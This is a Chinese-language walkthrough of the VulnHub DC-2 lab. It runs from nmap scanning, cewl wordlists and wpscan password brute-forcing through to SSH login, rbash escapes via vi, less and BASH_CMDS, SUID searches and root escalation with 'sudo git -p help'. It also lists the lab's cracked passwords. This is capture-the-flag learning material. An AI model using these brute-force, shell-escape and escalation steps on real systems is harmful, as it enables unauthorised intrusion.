DC-2
kali 192.168.43.149
DC-2 192.168.43.18
nmsp -sT --min-rate 10000 -p- 192.168.43.18
nmap -T4 -A -v -Pn 192.168.43.18
发现开放端口:80、7744
访问80端口,发现是个wordpress站点
FLAG1提示使用cewl获取爆破字典
cewl http://dc-2 -w dc2Pass.txt——将爬取的单词写入文件
猜测用户名为admin,进行爆破失败
使用wpscan获取该站点存在的用户名
wpscan --url http://dc-2 -enumerate u——获取用户名
admin、tom、jerry
wpscan --url http://dc-2 -P ./dc2Pass.txt -u jerry——爆破jerry的密码
获取jerry密码:adipiscing
获取tom密码:parturient
登录jerry账号获取flag2
提示wordpress cms利用不了的话,找其他的切入点
想到之前扫出的7744端口ssh服务
ssh tom@dc-2登录拿到shell
cat flag3.txt
显示-rbash: which: command not found
使用vi flag3.txt看到内容,大概就是提示你要切换用户
绕过rbash 得到flag4.txt,里面提示使用git提权
绕过rbash还是很多命令用不了,是命令路径出了问题
echo $PATH
修改路径
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
sudo -l——查找当前用户具有root权限的命令
git提权
sudo git -p help
!/bin/bash
cd /root
cat最后的flag
这里搜索rbash限制是什么,如何绕过并提权
rbash是一种受限制的shell,是为了确保系统安全而设置的,用于限制用户的权限
rbash的限制
-
通过 cd 来改变工作目录
-
设置或取消环境变量: SHELL, PATH, ENV, BASH_ENV
-
命令名中不能包含目录分隔符 ‘/’
-
包含有 ‘/’ 的文件名作为内置命令 ‘.’ 的参数
-
hash 内置命令有 -p 选项时的文件名参数包含 ‘/’
-
在启动时通过 shell 环境导入函数定义
-
在启动时通过 shell 环境解析 SHELLOPTS 的值
-
使用
>,>|, <>, >&, &>, >>
等重定向操作符 -
使用 exec 内置命令
-
通过 enable 内置命令的 -f 和 -d 选项增加或删除内置命令
-
使用 enable 内置命令来禁用或启用 shell 内置命令
-
执行 command 内置命令时加上 -p 选项
-
通过 set +r 或 set +o restricted 关闭受限模式
rbash逃逸
利用系统常见应用
1.ftp
2.more
3.less
less filename
: + !/bin/sh
4.man
5.vi
原理:
vi filename
:!/bin/sh
获取shell
实操:
通过设置变量绕过‘\’的限制
vi filename
:set shell=/bin/sh
:shell
6.vim
原理:
vim filename
:!/bin/sh
获取shell
实操:
通过设置变量绕过‘\’的限制
vim filename
:set shell=/bin/sh
:shell
BASH_CMDS[a]=/bin/sh;a
suid提权
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
查找具有root权限的suid文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
git提权
sudo git help config
!/bin/bash或者!'sh'
sudo git -p help
!/bin/bash
标签:bin,rbash,shell,命令,DC,内置,sh,vulnhub
From: https://www.cnblogs.com/q1stop/p/17903137.html